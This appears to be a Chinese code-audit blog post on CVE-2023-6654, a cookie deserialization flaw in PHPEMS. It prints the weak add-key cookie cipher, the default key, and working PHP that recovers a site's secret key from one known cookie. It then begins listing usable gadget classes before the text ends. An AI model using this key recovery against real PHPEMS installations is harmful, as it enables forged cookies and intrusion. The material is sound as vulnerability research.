本文来自团队小伙伴:c3ting
博客地址
正文:
路由:
入口方法:
鉴权分析:
由此可以得出 鉴权是由session类负责获取参数后,由各个类的魔术方法负责:(在此还有一个方法 全局搜索登录关键词)
1、断点分析:
寻找鉴权点分析(我在文章的操作相关目录下面的app.php类打断点 因为此处打断点后 只需要刷新就会进行鉴权)
刷新后 步进 来到了session类里
再次步入后来到 ev类里 该类是一些工具类 如设置或者获取cookie等
再次步入 来到了 今天的主角 strings类 也就是字符串处理类 在保存cookie或者获取cookie时 先得进行字符串处理 也就是加密和解密 同时该程序在传递信息时 是采用直接传递对象的形式 也就是说存在序列化和反序列化 这样也就引发了 反序列化漏洞 该漏洞的cve 为:CVE-2023-6654
在客户端访问时 还会调用session类中的getSessionId方法,该方法先判断cookie中是否有用户信息,如果没有 则取信息后调用该类中的 setSessionUser方法,设置cookie,在设置cookie时,进行序列化操作后在加密保存在cookie里
2、加、解密分析
加密:
public
function
encode
($info)
{
$info = serialize($info);
//先进行序列化操作
$key = CS;
// CS为全局常量 在index.php时就引入了全局配置
$kl = strlen($key);
// 取密匙的长度
$il = strlen($info);
// 取序列化后的文本长度
for
($i =
0
; $i < $il; $i++)
{
$p = $i%$kl;
// 进行取余操作
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
// 将$info字符串中第i个字符的 ASCII值和$key字符串中第p个字符的ASCII值相加,然后将结果转换为对应的字符。这里是重点!!!
}
return
urlencode($info);
}
解密:
public
function
decode
($info)
{
$key = CS;
$info = urldecode($info);
//进行url解码
$kl = strlen($key);
$il = strlen($info);
for
($i =
0
; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
// 将$info字符串中第i个字符的 ASCII值和$key字符串中第p个字符的ASCII值相减,然后将结果转换为对应的字符。
}
$info = unserialize($info);
// 进行反序列化
return
$info;
}
由上面的加密和解密的关系中 我得到这样的关系:
加密前 = 加密后 - 密匙 加密后 = 加密前 + 密匙 密匙 = 加密后 - 加密前
如果想使用该反序列化漏洞 就得先加密后 传入cookie中即可触发。但是该程序中得密匙是可以随机定义的,在全局配置文件中的CS常量:
define(
'CS'
,
'1hqfx6ticwRxtfviTp940vng!yC^QK^6'
);
//请随机生成32位字符串修改此处值
由此可知道,密匙的长度固定 且为 32位字符如果想知道密匙就必须得到逆向加密算法,由我们上面的关系可以得到:密匙 = 加密后 - 加密前
function
getkey
($info_en,$info_de)
{
$il = strlen($info_en);
$kl =
32
;
//密匙长度固定且为 32
$key =
""
;
for
($i =
0
; $i < $il; $i++)
{
$p = $i%$kl;
$key .= chr(ord($info_en[$i])-ord($info_de[$p]));
// 密匙 = 加密后 - 加密前
}
return
$key;
}
逆向密匙的算法已经搞定了,但是我们还需要 加密前和加密后的信息,并且该信息我们可以直接获得,而且存在共性,也就是在该程序中固有的,
直接用本地调试的办法,获取本地的cookie,使用解密函数直接解密,因为知道密匙可以直接解密。
a
:3
:{
s
:
9
:
"sessionid"
;
s
:
32
:
"68769deac60feeeef448e67e1d6f6ace"
;
s
:
9
:
"sessionip"
;
s
:
9
:
"127.0.0.1"
;
s
:
16
:
"sessiontimelimit"
;
i
:
1706884249
;}
密匙的长度固定为32位 所以要获取固定的 32位,因为存在取余的情况,起始最好的显示结果为 32的整数倍,其他的显示结果需要拼接。
那么我们在分析由哪些方法设置了cookie即可。
在之前的session类中getSessionId方法,就存在设置cookie的操作,并且在设置cookie前 还进行了加密。
由此可知,向cookie中储存了 sessionid的id和ip信息,还有创建时间,然后代码审计可得:该程序的sessionid储存在cookie的作用是:用于数据库查询 表名为:x2_session
可控部分为:
";
s
:9
:"sessionip"
;
s
:9
:"127.0.0.1"
;
s
:16
:"sessiontimelimit"
;
i
:17068
取32的整数倍 为64后 :"sessionip";s:9:"127.0.0.1";s:1刚刚好都是可控的,那么就直接使用函数进行逆向密匙结果:
完整代码为:
function getkey($info_en,$info_de){
$il = strlen($info_en);
$kl =
32
;
//
密匙长度固定且为
32
$key =
""
;
for
($i =
0
; $i < $il; $i++)
{
$p = $i%$kl;
$key .=
chr
(
ord
($info_en[$i])-
ord
($info_de[$p]));
//
密匙 = 加密后 - 加密前
}
return
$key;
}
$info_en =
"%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%25BF%25B3%2584%25C2f%2592%25CD%25A9%25CC%25DE%259A%25A6%25A1%259C%25A7%2583%25DD%25D5%25C8%25DB%259C%2586%25D5l%2599e%25AD%25A1%259FX%25AF%257C%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2597%2581%257C%2593oi%25A3%25EE"
;
$info_en = urldecode($info_en);
$info_en = urldecode($info_en);
$info_de =
'a:3:{s:9:"sessionid";s:32:"68769deac60feeeef448e67e1d6f6ace";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706884249;}'
;
$info_en =
substr
($info_en,
64
,
32
);
$info_de =
substr
($info_de,
64
,
32
);
echo $info_de.
"</br>"
;
echo getkey($info_en,$info_de);
两次urldecode是因为 一次在cookie中自动编码转换了,还有一次是在加密的时候进行了一次编码。
也可以取不是32的整数倍作为起始,那么得到的结果需要进行相应的拼接操作:
3、反序列化可用方法分析
在app/content/cls/api.cls.php中存在多个eval方法,但是引入这个类的方法都是需要登录操作,没办法利用。
在lib/pepdo.cls.php类中,存在多个执行数据库语句的方法。由此可以有限考虑利用
原文始发于微信公众号(棉花糖网络安全圈):代码审计-CVE-2023-6654-PHPEMS-加密-解密分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论